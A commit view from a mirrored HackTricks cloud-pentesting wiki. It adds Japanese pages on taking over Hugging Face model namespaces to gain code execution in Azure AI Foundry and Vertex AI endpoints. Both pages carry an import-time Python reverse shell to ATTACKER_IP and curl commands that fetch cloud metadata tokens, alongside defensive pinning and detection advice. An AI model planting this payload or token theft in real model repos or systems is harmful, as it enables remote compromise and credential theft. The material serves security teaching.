gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-29 06:03:26 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

Browse Source
This commit is contained in:
Translator
2025-09-29 21:17:47 +00:00
parent 2084a16093
commit 03ce507acf
5 changed files with 270 additions and 50 deletions
Download Patch File Download Diff File Expand all files Collapse all files

6
src/pentesting-cloud/azure-security/az-post-exploitation/README.md
View File

@@ -1,3 +1,9 @@
# Az - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#ref}}
az-azure-ai-foundry-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

94
src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md Normal file
View File

@@ -0,0 +1,94 @@
# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
{{#include ../../../banners/hacktricks-training.md}}
## シナリオ
- Azure AI Foundry Model Catalog には、ワンクリックでデプロイできる Hugging Face (HF) モデルが多数含まれています。
- HF のモデル識別子は Author/ModelName です。もし HF の author/org が削除されると、誰でもその author を再登録して同じ ModelName で旧パスにモデルを公開できます。
- 名前のみで取得する（commit pinning/integrity がない）pipelines や catalogs は、攻撃者がコントロールする repos に解決されます。Azure がモデルをデプロイすると、loader code がエンドポイント環境で実行され、そのエンドポイントの権限で RCE を得られる可能性があります。
一般的な HF の乗っ取りケース:
- 所有権の削除: 旧パスは乗っ取りされるまで 404 のままになります。
- 所有権の移転: 古い author が存在する間は旧パスが新しい author に 307 リダイレクトされます。もし古い author が後で削除され再登録されると、リダイレクトが壊れ、攻撃者の repo が旧パスで提供されます。
## 再利用可能な Namespace (HF) の特定
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
# Check model path
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 -> redirect (transfer case), 404 -> deleted until takeover
```
## Azure AI Foundry に対するエンドツーエンド攻撃フロー
1) Model Catalog で、HF 上で元の作者が削除または移管され（old author removed）、放置された HF モデルを見つける。
2) HF 上で放棄された作者を再登録し、ModelName を再作成する。
3) インポート時に実行される、または trust_remote_code=True を要求する loader コードを含む悪意のある repo を公開する。
4) Azure AI Foundry からレガシーの Author/ModelName をデプロイする。プラットフォームが攻撃者の repo をプルし、loader が Azure の endpoint 上の container/VM 内で実行され、endpoint 権限で RCE を獲得する。
インポート時に実行されるペイロードの断片（デモ用）：
```python
# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
注意事項
- AI Foundry を統合する HF 対応のデプロイは、通常モデルの config で参照されるリポジトリモジュール（例: auto_map）をクローンして import し、code execution を引き起こす可能性があります。いくつかのパスでは trust_remote_code=True が必要です。
- アクセス権は通常エンドポイントの managed identity/service principal の権限に一致します。これを Azure 内でのデータアクセスや lateral movement のための initial access foothold として扱ってください。
## Post-Exploitation Tips (Azure Endpoint)
- 環境変数および MSI endpoints を列挙して tokens を取得／確認する:
```bash
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```
- 取得したトークンで、マウントされたストレージ、モデルアーティファクト、および到達可能な Azure services を確認する。
- プラットフォームが HF から再取得する場合に備えて、poisoned model artifacts を残して persistence を検討する。
## Azure AI Foundry ユーザー向けの防御ガイダンス
- HF からロードする際は、commit 単位でモデルを pin する:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- 検証済みの HF モデルを信頼できる内部レジストリにミラーし、そこからデプロイする。
- コードベースおよび defaults/docstrings/notebooks を継続的にスキャンし、削除または移管されたハードコーディングされた Author/ModelName を検出したら更新または pin する。
- デプロイ前に author の存在と model の出所を検証する。
## 検出ヒューリスティック (HTTP)
- 削除された author: author page 404; legacy model path 404 until takeover.
- 移管されたモデル: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## 相互参照
- より広範な方法論およびサプライチェーンの注意点を参照してください:
{{#ref}}
../../pentesting-cloud-methodology.md
{{#endref}}
## 参考文献
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
{{#include ../../../banners/hacktricks-training.md}}

8
src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md
View File

@@ -1,3 +1,9 @@
# GCP - ポストエクスプロイテーション
# GCP - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#ref}}
gcp-vertex-ai-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

113
src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md Normal file
View File

@@ -0,0 +1,113 @@
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
{{#include ../../../banners/hacktricks-training.md}}
## Scenario
- Vertex AI Model Garden は多くの Hugging Face (HF) モデルを直接デプロイできます。
- HF model identifiers are Author/ModelName. HF 上の author/org が削除された場合、同じ author 名は誰でも再登録できます。攻撃者はその後、同じ ModelName を使った repo をレガシーパス上に作成できます。
- 名前のみで取得する（pinning/integrity なし）Pipelines、SDKs、またはクラウドカタログは攻撃者が制御する repo を引いてしまいます。モデルがデプロイされると、その repo の loader code が Vertex AI endpoint container 内で実行され、エンドポイントの権限で RCE を得られます。
Two common takeover cases on HF:
- Ownership deletion: 古いパスは、誰かがその author を再登録して同じ ModelName を公開するまで 404 を返します。
- Ownership transfer: HF は古い Author/ModelName から新しい author へ 307 リダイレクトを発行します。古い author が後で削除され攻撃者により再登録されると、リダイレクトチェーンは途切れ、攻撃者の repo がレガシーパスで提供されます。
## Identifying Reusable Namespaces (HF)
- Old author deleted: author のページが 404 を返します。モデルパスは takeover が行われるまで 404 を返す場合があります。
- Transferred models: 古いモデルパスは、古い author が存在している間は新しい所有者へ 307 を返します。もし古い author が後で削除され再登録されると、レガシーパスは攻撃者の repo を指すようになります。
Quick checks with curl:
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author>
# 200 = exists, 404 = deleted/available
# Check old model path behavior
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers
```
## Vertex AI に対するエンドツーエンドの攻撃フロー
1) Model Garden に deployable としてリストされている再利用可能なモデル名前空間を発見する:
- Vertex AI Model Garden 内で、まだ “verified deployable” と表示されている HF モデルを見つける。
- HF 上で、元の author が削除されているか、モデルが移管されて古い author が後に削除されたかを確認する。
2) HF 上で削除された author を再登録し、同じ ModelName を再作成する。
3) 悪意のある repo を公開する。モデルのロード時に実行されるコードを含める。HF のモデルロード中に一般的に実行される例:
- repo の __init__.py における副作用
- config/auto_map で参照される custom modeling_*.py や processing コード
- Transformers パイプラインで trust_remote_code=True を要するコードパス
4) レガシーな Author/ModelName の Vertex AI デプロイが攻撃者の repo をプルするようになる。ローダーは Vertex AI endpoint コンテナ内で実行される。
5) ペイロードは endpoint 環境から（RCE）エンドポイントの権限でアクセスを確立する。
インポート時に実行されるペイロード断片の例（デモ目的のみ）：
```python
# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
メモ
- 実際のローダーは様々です。多くの Vertex AI HF 統合は、モデルの設定で参照されるリポジトリモジュール（例: auto_map）をクローンしてインポートし、これがコード実行を引き起こす可能性があります。一部の利用では trust_remote_code=True が必要になることがあります。
- エンドポイントは通常、限定的な権限の専用コンテナで動作しますが、GCP 内でのデータアクセスや横移動のための有効な初期足がかりになり得ます。
## Post-Exploitation Tips (Vertex AI Endpoint)
endpoint コンテナ内でコードが実行されている場合、次を検討してください:
- 資格情報／トークンのために環境変数やメタデータを列挙する
- アタッチされたストレージやマウントされたモデルアーティファクトにアクセスする
- サービスアカウントの識別を使って Google APIs とやり取りする (Document AI, Storage, Pub/Sub, etc.)
- プラットフォームが repo を再取得する場合に備えてモデルアーティファクト内に永続化する
アクセス可能ならインスタンスメタデータを列挙する（コンテナ依存）:
```bash
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
## Vertex AI ユーザー向けの防御ガイダンス
- HF loadersでモデルをcommit単位で固定して、サイレントな置き換えを防ぐ:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- 精査済みの HFモデル を信頼できる内部のアーティファクトストア/レジストリにミラーし、そこからデプロイする。
- コードベースと設定を継続的にスキャンし、削除/転送されたハードコーディングされた Author/ModelName を検出して、新しい名前空間に更新するかコミットで固定する。
- Model Garden では、デプロイ前にモデルの由来と作者の存在を確認する。
## 認識ヒューリスティクス (HTTP)
- 削除された作者：作者ページが404。旧モデルパスも引き継ぎまで404。
- 移管されたモデル：旧パスが旧作者が存在する間に新作者へ307リダイレクトする；後に旧作者が削除され再登録された場合、旧パスは攻撃者のコンテンツを返す。
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## 相互参照
- より広範な方法論およびサプライチェーンに関する注記を参照:
{{#ref}}
../../pentesting-cloud-methodology.md
{{#endref}}
## 参考文献
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
{{#include ../../../banners/hacktricks-training.md}}

99
src/pentesting-cloud/pentesting-cloud-methodology.md
View File

@@ -1,4 +1,4 @@
# クラウドペンテスティングの方法論
# Pentesting クラウド方法論
{{#include ../banners/hacktricks-training.md}}
@@ -6,39 +6,39 @@
## 基本的な方法論
各クラウドには独自の特性がありますが、一般的にクラウド環境をテストする際に**ペンテスターが確認すべき共通の事項**がいくつかあります：
各クラウドには固有の特性がありますが、一般的にクラウド環境をテストする際に、**ペンテスターが確認すべき共通の項目**がいくつかあります:
- **ベンチマークチェック**
- これにより、**環境の規模**や**使用されているサービス**を理解するのに役立ちます。
- ほとんどのテストを**自動化ツール**で実行できるため、いくつかの**迅速な誤設定**を見つけることも可能です。
- **サービスの列挙**
- ベンチマークテストを正しく実施していれば、ここでの誤設定はあまり見つからないでしょうが、ベンチマークテストで見落とされていたものが見つかるかもしれません。
- これにより、クラウド環境で**何が正確に使用されているか**を知ることができます。
- 次のステップに大いに役立ちます。
- **公開されている資産の確認**
- これは前のセクションで行うことができ、**インターネットに潜在的に公開されているすべてのもの**を見つけ出し、どのようにアクセスできるかを確認する必要があります。
- ここでは、**手動で公開されたインフラストラクチャ**（ウェブページを持つインスタンスや他のポートが公開されているもの）や、**公開されるように設定できる他のクラウド管理サービス**（DBやバケットなど）について取り上げています。
- 次に、そのリソースが**公開可能かどうか**を確認する必要があります（機密情報？脆弱性？公開されたサービスの誤設定？）。
- これは環境の**規模を把握**し、**使用されているサービス**を理解するのに役立ちます
- ほとんどのテストを**自動化ツール**で実行できるため、**簡単な誤設定**を見つけることもできます
- **サービス列挙**
- ベンチマークテストを正しく実行していれば、ここで大きな誤設定はあまり見つからないかもしれませんが、ベンチマークで見落とされていたものが見つかる可能性があります。
- これによりクラウド環境で**正確に何が使われているか**を把握できます
- 次のステップで大いに役立ちます
- **公開アセットの確認**
- これは前のセクションで行うことができ、インターネットに何らかの形で**公開されている可能性のあるすべて**と、そのアクセス方法を把握する必要があります。
- ここでは、ウェブページやその他のポートが公開されているインスタンスのような**手動で公開されたインフラ**や、公開可能な設定がされ得る**クラウド管理サービス**（例: DBsや buckets）について扱います。
- 次に、そのリソースが**実際に公開されうるか**（機密情報か？脆弱性か？公開されたサービスの誤設定か？）を確認するべきです。
- **権限の確認**
- ここでは、クラウド内の各ロール/ユーザーの**すべての権限を把握**し、それがどのように使用されているかを確認する必要があります。
- **特権の高い**（すべてを制御する）アカウントが多すぎる？生成されたキーが使用されていない？... これらのチェックのほとんどは、すでにベンチマークテストで行われているはずです。
- クライアントがOpenIDやSAML、その他の**フェデレーション**を使用している場合、**各ロールがどのように割り当てられているか**についてさらに**情報**を求める必要があります（管理者ロールが1人のユーザーに割り当てられているのと100人に割り当てられているのは同じではありません）。
- **管理者**権限 "\*:\*" を持つユーザーを見つけるだけでは**不十分**です。使用されるサービスによっては、非常に**敏感**な**他の権限**がたくさんあります。
- さらに、権限を悪用する**潜在的な特権昇格**の方法があります。これらすべてのことを考慮し、**できるだけ多くの特権昇格パス**を報告する必要があります。
- ここではクラウド内の各ロール/ユーザーの**全ての権限**とそれらの使われ方を把握するべきです
- 特権が**過剰**（すべてを制御できる）なアカウントが多い？生成されたキーが未使用？... これらの多くは既にベンチマークテストでチェックされているはずです
- クライアントが OpenID や SAML、その他の **フェデレーション** を使用している場合、各ロールがどのように割り当てられているかについてのさらなる **情報** を確認する必要があるかもしれません（admin ロールが1人に割り当てられているのと100人に割り当てられているのとでは同じではありません）。
- ユーザーが "**admin**" 権限 "*:*" を持っていることを見つけるだけでは**不十分**です。使用されるサービスによっては非常に**センシティブ**な**その他の権限**が多数存在します。
- さらに、権限を悪用して追える**潜在的な privesc** の手段が存在します。これらすべてを考慮に入れ、**できる限り多くの privesc パス**を報告すべきです。
- **統合の確認**
- **他のクラウドやSaaSとの統合**がクラウド環境内で使用されている可能性が非常に高いです。
- **監査しているクラウドの統合**については、**その統合を（悪用）するアクセス権を持つのは誰か**を通知し、実行されているアクションが**どれほど敏感**であるかを尋ねる必要があります。\
例えば、GCPがデータを取得しているAWSバケットに書き込むことができるのは誰か（GCPでそのデータを扱う際のアクションの敏感さを尋ねる）。
- **監査しているクラウド内の統合**については、外部プラットフォームからの**その統合を（悪用）するための外部アクセス権を持つのは誰か**を尋ね、データがどのように使用されているかを確認する必要があります。\
例えば、サービスがGCRにホストされているDockerイメージを使用している場合、そのイメージを修正するアクセス権を持つのは誰か、AWSクラウド内で実行されたときにそのイメージがどのような機密情報やアクセスを取得するかを尋ねる必要があります。
- クラウド環境内で**他のクラウドや SaaS との統合**が利用されている可能性が高いです。
- 監査対象のクラウドが他のプラットフォームと統合されている場合、その統合を（悪用）できる**誰がアクセス権を持っているか**を通知し、そのアクションがどれほど**機微（敏感）**であるかを確認すべきです。
例えば、GCP がデータを取得している AWS のバケットに書き込みできるのは誰か（そのデータを GCP 側で扱うことがどれほど敏感かを確認してください）。
- 外部プラットフォームから監査対象クラウド内への統合については、その統合を外部から（悪用）できる**誰がアクセス権を持っているか**を確認し、そのデータがどのように使われているかをチェックするべきです。
例えば、あるサービスが GCR にホストされた Docker イメージを使用している場合、そのイメージを修正できるのは誰か、そしてそのイメージが AWS クラウド内で実行されたときにどのような機密情報やアクセス権を得るかを確認してください。
## マルチクラウドツール
異なるクラウド環境をテストするために使用できるツールがいくつかあります。このセクションでは、インストール手順とリンクが示されます。
異なるクラウド環境のテストに使用できるツールがいくつかあります。インストール手順とリンクはこのセクションで示します。
### [PurplePanda](https://github.com/carlospolop/purplepanda)
クラウドおよびクラウド/SaaS間の**悪い設定や特権昇格パスを特定する**ためのツールです。
クラウドやクラウド間/SaaS における悪い設定および privesc パスを識別するツールです。
{{#tabs }}
{{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
### [Prowler](https://github.com/prowler-cloud/prowler)
**AWS、GCP、Azure**をサポートしています。各プロバイダーの設定方法は[https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)を確認してください。
これは **AWS, GCP & Azure** をサポートしています。各プロバイダの設定方法は [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) を参照してください。
```bash
# Install
pip install prowler
@@ -88,7 +88,7 @@ prowler <provider> --list-services
```
### [CloudSploit](https://github.com/aquasecurity/cloudsploit)
AWS、Azure、Github、Google、Oracle、Alibaba
AWS, Azure, Github, Google, Oracle, Alibaba
{{#tabs }}
{{#tab name="Install" }}
@@ -112,7 +112,7 @@ npm install
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
AWS、Azure、GCP、Alibaba Cloud、Oracle Cloud Infrastructure
AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure
{{#tabs }}
{{#tab name="Install" }}
@@ -146,7 +146,7 @@ done
{{#tabs }}
{{#tab name="Install" }}
Steampipeをダウンロードしてインストールします ([https://steampipe.io/downloads](https://steampipe.io/downloads))。または、Brewを使用します:
Steampipeをダウンロードしてインストールします（[https://steampipe.io/downloads](https://steampipe.io/downloads)）。またはBrewを使用します：
```
brew tap turbot/tap
brew install steampipe
@@ -168,9 +168,9 @@ steampipe check all
```
<details>
<summary>すべてのプロジェクトを確認</summary>
<summary>すべてのプロジェクトを確認する</summary>
すべてのプロジェクトを確認するには、テストするすべてのプロジェクトを示す `gcp.spc` ファイルを生成する必要があります。次のスクリプトの指示に従うだけで済みます。
すべてのプロジェクトを確認するには、テストするすべてのプロジェクトを指定する`gcp.spc`ファイルを生成する必要があります。以下のスクリプトの指示に従えばよいです。
```bash
FILEPATH="/tmp/gcp.spc"
rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
```
</details>
他の**GCPインサイト**（サービスを列挙するのに便利）を確認するには、次を使用します: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
他の **GCP insights**（サービス列挙に役立つ）を確認するには、次を使用してください: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Terraform GCPコードを確認するには: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Terraform の GCP コードを確認するには: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Steampipeの他のGCPプラグイン: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
Steampipe のその他の GCP プラグイン: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
{{#endtab }}
{{#tab name="AWS" }}
@@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance
steampipe dashboard # To see results in browser
steampipe check all --export=/tmp/output4.json
```
Terraform AWSコードを確認するには: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
Steampipeの他のAWSプラグイン: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
{{#endtab }}
{{#endtabs }}
### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
AWS、GCP、Azure、DigitalOcean。\
python2.7が必要で、メンテナンスされていないようです。
AWS, GCP, Azure, DigitalOcean.\
python2.7 が必要で、メンテされていないように見えます。
### Nessus
Nessusには、AWS、Azure、Office 365、Rackspace、Salesforceをサポートする_**Audit Cloud Infrastructure**_スキャンがあります。**Azure**で**Client Id**を取得するために、いくつかの追加設定が必要です。
Nessus には _**Audit Cloud Infrastructure**_ スキャンがあり、AWS、Azure、Office 365、Rackspace、Salesforce をサポートします。**Azure** では **Client Id** を取得するために追加の設定が必要です。
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
Cloudlistは、クラウドプロバイダーから資産（ホスト名、IPアドレス）を取得するための**マルチクラウドツール**です。
Cloudlist は Cloud Providers から Assets（Hostnames、IP Addresses）を取得するための **multi-cloud tool for getting Assets** です。
{{#tabs }}
{{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
### [**cartography**](https://github.com/lyft/cartography)
Cartographyは、インフラストラクチャ資産とそれらの関係を直感的なグラフビューで統合するPythonツールで、Neo4jデータベースによって支えられています。
Cartography は、Neo4j データベースによって駆動される直感的なグラフビューで、インフラストラクチャ資産とそれらの間の関係を統合する Python ツールです。
{{#tabs }}
{{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
### [**starbase**](https://github.com/JupiterOne/starbase)
Starbaseは、クラウドインフラストラクチャ、SaaSアプリケーション、セキュリティコントロールなどのサービスやシステムから資産と関係を収集し、Neo4jデータベースに基づいた直感的なグラフビューに表示します。
Starbaseは、クラウドインフラ、SaaSアプリケーション、セキュリティコントロールなどのサービスやシステムから資産と関係性を収集し、Neo4jデータベースをバックエンドとした直感的なグラフビューに統合します。
{{#tabs }}
{{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
スキャンされたAWSまたはAzure環境で最も特権のあるユーザーを発見します。これにはAWSシャドウ管理者が含まれます。PowerShellを使用します。
スキャンされた AWS または Azure 環境で、AWS Shadow Admins を含む最も権限の高いユーザーを検出します。powershell を使用します。
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -372,15 +372,15 @@ Scan-AzureAdmins
```
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
企業（ターゲット）のインフラ、ファイル、アプリを主要なクラウドプロバイダー（Amazon、Google、Microsoft、DigitalOcean、Alibaba、Vultr、Linode）上で見つけるためのツールです。
企業（ターゲット）のインフラ、ファイル、アプリを主要クラウドプロバイダ（Amazon、Google、Microsoft、DigitalOcean、Alibaba、Vultr、Linode）上で見つけるためのツール。
### [CloudFox](https://github.com/BishopFox/cloudfox)
- CloudFoxは、クラウドインフラストラクチャ内の悪用可能な攻撃経路を見つけるためのツールです（現在はAWSとAzureのみサポート、GCPは今後対応予定）。
- 手動のpentestingを補完することを目的とした列挙ツールです。
- クラウド環境内のデータを作成または変更することはありません。
- CloudFoxはクラウドインフラの利用可能な攻撃パスを発見するツールです（現在はAWSとAzureのみサポート、GCPは近日対応予定）。
- 手動の pentesting を補完するための列挙ツールです。
- クラウド環境内のデータを作成したり変更したりすることはありません。
### クラウドセキュリティツールのさらなるリスト
### More lists of cloud security tools
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
@@ -412,10 +412,11 @@ azure-security/
### Attack Graph
[**Stormspotter** ](https://github.com/Azure/Stormspotter)は、Azureサブスクリプション内のリソースの「攻撃グラフ」を作成します。これにより、レッドチームやpentesterはテナント内の攻撃面とピボットの機会を視覚化でき、ディフェンダーはインシデント対応作業を迅速に方向付け、優先順位を付けることができます。
[**Stormspotter** ](https://github.com/Azure/Stormspotter)はAzureサブスクリプション内のリソースの“attack graph”を作成します。red teamsやpentestersが攻撃面やテナント内でのピボット機会を可視化でき、あなたの防御担当者がインシデント対応作業の把握と優先順位付けを迅速に行えるようにします。
### Office365
**Global Admin**または少なくとも**Global Admin Reader**が必要です（ただし、Global Admin Readerには少し制限があります）。ただし、これらの制限は一部のPSモジュールに現れ、**ウェブアプリケーション経由で**機能にアクセスすることで回避できます。
You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **ウェブアプリケーション経由で**。
{{#include ../banners/hacktricks-training.md}}